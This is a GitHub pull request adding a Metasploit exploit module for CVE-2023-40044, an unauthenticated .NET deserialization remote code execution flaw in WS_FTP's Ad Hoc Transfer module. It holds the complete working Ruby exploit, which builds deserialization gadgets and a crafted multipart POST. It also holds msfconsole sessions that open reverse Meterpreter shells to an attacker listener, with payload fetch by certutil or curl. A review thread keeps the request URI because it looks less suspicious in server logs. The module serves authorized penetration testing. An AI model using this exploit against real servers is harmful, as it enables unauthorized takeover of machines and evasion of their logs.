Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit module for CVE-2023-40044 (WS_FTP unauthenticated RCE) #18414

Merged
merged 6 commits into from
Oct 4, 2023
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
## Vulnerable Application
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP server
prior to 8.7.4 and 8.8.2 are vulnerable to this issue. The vulnerability was originally discovered by AssetNote.

For a full technical analysis of the vulnerability read the
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis).

## Testing
Download and install a vulnerable version of WS_FTP server. By default the server will listen for HTTPS connections
on port 443. The vulnerability is in the Ad Hoc Transfer module which is installed by default. This exploit
module was tested against `2020.0.1`. and `2022.0.1`.
smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved

## Verification Steps
Note: Disable Defender if you are using the default payloads.

Steps:
1. Start msfconsole
2. `use exploit/windows/http/ws_ftp_rce_cve_2023_40044`
3. `set RHOST <TARGET_IP>`
4. Set a Target:
* `set target 0` for Windows Command.
* `set target 1` for Windows Powershell.
5. Set a suitable PAYLOAD for the chosen target:
* `set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp` for Windows Command target.
* `set PAYLOAD x64/meterpreter/reverse_tcp` for Windows Powershell target.
6. `check`
7. `exploit`

## Scenarios

### Windows Command
```
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set RHOST 192.168.86.50
RHOST => 192.168.86.50
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set target 0
target => 0
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > show options

Module options (exploit/windows/http/ws_ftp_rce_cve_2023_40044):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGET_URI /AHT/ no Target URI. Must begin with /AHT/
VHOST no HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME NrkcXGOM no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Windows Command



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > check
[*] 192.168.86.50:443 - The target appears to be vulnerable. Detected a build date of 28-2-2023
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected a build date of 28-2-2023
[*] Sending stage (200774 bytes) to 192.168.86.50
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:49754) at 2023-10-02 11:32:33 +0100

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter >
```

### Windows Powershell

```
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set target 1
target => 1
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > show options

Module options (exploit/windows/http/ws_ftp_rce_cve_2023_40044):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGET_URI /AHT/ no Target URI. Must begin with /AHT/
VHOST no HTTP server virtual host


Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
1 Windows Powershell



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected a build date of 28-2-2023
[*] Sending stage (200774 bytes) to 192.168.86.50
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:49755) at 2023-10-02 11:34:01 +0100

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter >
```
171 changes: 171 additions & 0 deletions modules/exploits/windows/http/ws_ftp_rce_cve_2023_40044.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,171 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Progress Software WS_FTP Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP server
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP server
execution against a vulnerable WS_FTP server running the installed by default Ad Hoc Transfer module. All versions of WS_FTP server

prior to 8.7.4 and 8.8.2 are vulnerable to this issue. The vulnerability was originally discovered by AssetNote.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
prior to 8.7.4 and 8.8.2 are vulnerable to this issue. The vulnerability was originally discovered by AssetNote.
prior to 8.7.4 and 8.8.2 are vulnerable to this issue.

},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-40044'],
['URL', 'https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis'],
smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved
['URL', 'https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023']
],
'DisclosureDate' => '2023-09-27',
'Platform' => %w[win],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => { 'Space' => 1024 },
'Privileged' => false, # Code execution as `NT AUTHORITY\NETWORK SERVICE`.
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :windows_command
}
],
[
'Windows Powershell',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_powershell
}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
Msf::OptString.new('TARGET_URI', [ false, 'Target URI. Must begin with /AHT/', '/AHT/']),
]
)
end

def check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shouldn't this method use TARGET_URI?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The TARGET_URI is only used in the exploit method to trigger the vulnerability. The default value /AHT/ works, but due to the how the underlying vuln works, you can change the TARGET_URI to be anything so long as it begins with /AHT/. You may want to do this to affect what appears in the IIS logs.

It would not make sense to use it in the check method as we want to get specific URI's to determine the vulnerable state of the target.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You might want to either document this, or even better, simply use a random string?

Copy link
Contributor Author

@sfewer-r7 sfewer-r7 Oct 3, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fair point, I will add some documentation around this. My thinking on keeping the TARGET_URI as /AHT/ is that it looks less suspicious in the logs than using something like a random string, e.g the IIS log entry:

2023-10-03 09:07:56 192.168.86.50 POST /AHT/ - 443 - 192.168.86.42 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/114.0.0.0+Safari/537.36+Edg/114.0.1823.51 - 302 0 0 277

compared to this (I manually edited the below to create an example):

2023-10-03 09:07:56 192.168.86.50 POST /AHT/shfkshkjs - 443 - 192.168.86.42 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/114.0.0.0+Safari/537.36+Edg/114.0.1823.51 - 302 0 0 277

However I wanted to keep the TARGET_URI as a user option to allow for configuration if needed (e.g. testing detection rules or whatever).

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added some comments and a better OptString description in 2eacb75

# As the vulnerability lies in the WS_FTP Ad Hoc Transfer (AHT) module, we query the index HTML file for AHT.
res = send_request_cgi(
'method' => 'GET',
'uri' => '/AHT/AHT_UI/public/index.html'
)

return CheckCode::Unknown('Connection failed') unless res

title = Nokogiri::HTML(res.body).xpath('//head/title')&.text

# We verify the target is running the AHT module, by inspecting the HTML heads title.
if title == 'Ad Hoc Transfer'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if title == 'Ad Hoc Transfer'
if title != 'Ad Hoc Transfer'
CheckCode::Unknown
endif

Inverting the condition will reduce the nested indentation level :)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I liked how the fall through for the check method ends with CheckCode::Unknown and there is no other path to return CheckCode::Unknown. 3 levels of indentation seems acceptable to me. Happy to do it differently if there is a preferred convention on this.

res = send_request_cgi(
'method' => 'GET',
'uri' => '/AHT/AHT_UI/public/js/app.min.js'
)

return CheckCode::Unknown('Connection failed') unless res

# The patched versions were released on September 2023. We can query the date stamp in the app.min.js file
# to see when this file was built. If it is before Sept 2023, then we have a vulnerable version of WS_FTP,
# but if it was build on Sept 2023 or after, it is not vulnerable.

if res.code == 200 && res.body =~ %r{/\*! fileTransfer (\d+)-(\d+)-(\d+) \*/}
day = ::Regexp.last_match(1).to_i
month = ::Regexp.last_match(2).to_i
year = ::Regexp.last_match(3).to_i

description = "Detected a build date of #{day}-#{month}-#{year}"

if year > 2023 || (year == 2023 && month >= 9)
return CheckCode::Safe(description)
end

return CheckCode::Appears(description)
end

# If we couldn't get the JS build date, we at least know the target is WS_FTP with the Ad Hoc Transfer module.
return CheckCode::Detected
end

CheckCode::Unknown
end

def exploit
unless datastore['TARGET_URI'].start_with? '/AHT/'
fail_with(Failure::BadConfig, 'The TARGET_URI must begin with /AHT/')
end

case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is no longer necessary. You should be able to completely remove this code, the mixin inclusion, and the target definition. Users can now use the powershell adapter payloads added in #16548 (one of cmd/windows/powershell/*).

As a module author, the adapters allow you to simply define the command target and the framework will handle the rest.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That's cool, I didn't realize this existed! Implemented in 1be8e02

end
end

def execute_command(cmd)
# All of these gadget chains will work. We pick a random one during exploitation.
chains = %i[ClaimsPrincipal TypeConfuseDelegate TextFormattingRunProperties]

gadget = ::Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: chains.sample,
formatter: :BinaryFormatter
)

# We can reach the unsafe deserialization via either of these tags. We pick a random one during exploitation.
tags = %w[AHT_DEFAULT_UPLOAD_PARAMETER AHT_UPLOAD_PARAMETER]

boundary = rand_text_alphanumeric(8)

data = "--#{boundary}\r\n"
data << "name: #{rand_text_alphanumeric(8)}\r\n"
data << "\r\n"
data << "::#{tags.sample}::#{Rex::Text.encode_base64(gadget)}\r\n"
data << "--#{boundary}–\r\n"
data << "\r\n"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can this be updated to use the rex-mime API?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Implemented in 8431d11


res = send_request_raw(
{
'uri' => normalize_uri(datastore['TARGET_URI']),
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length
},
'method' => 'POST',
'data' => data
}
)

unless res&.code == 302
fail_with(Failure::UnexpectedReply, 'Failed to trigger vulnerability')
end
end

end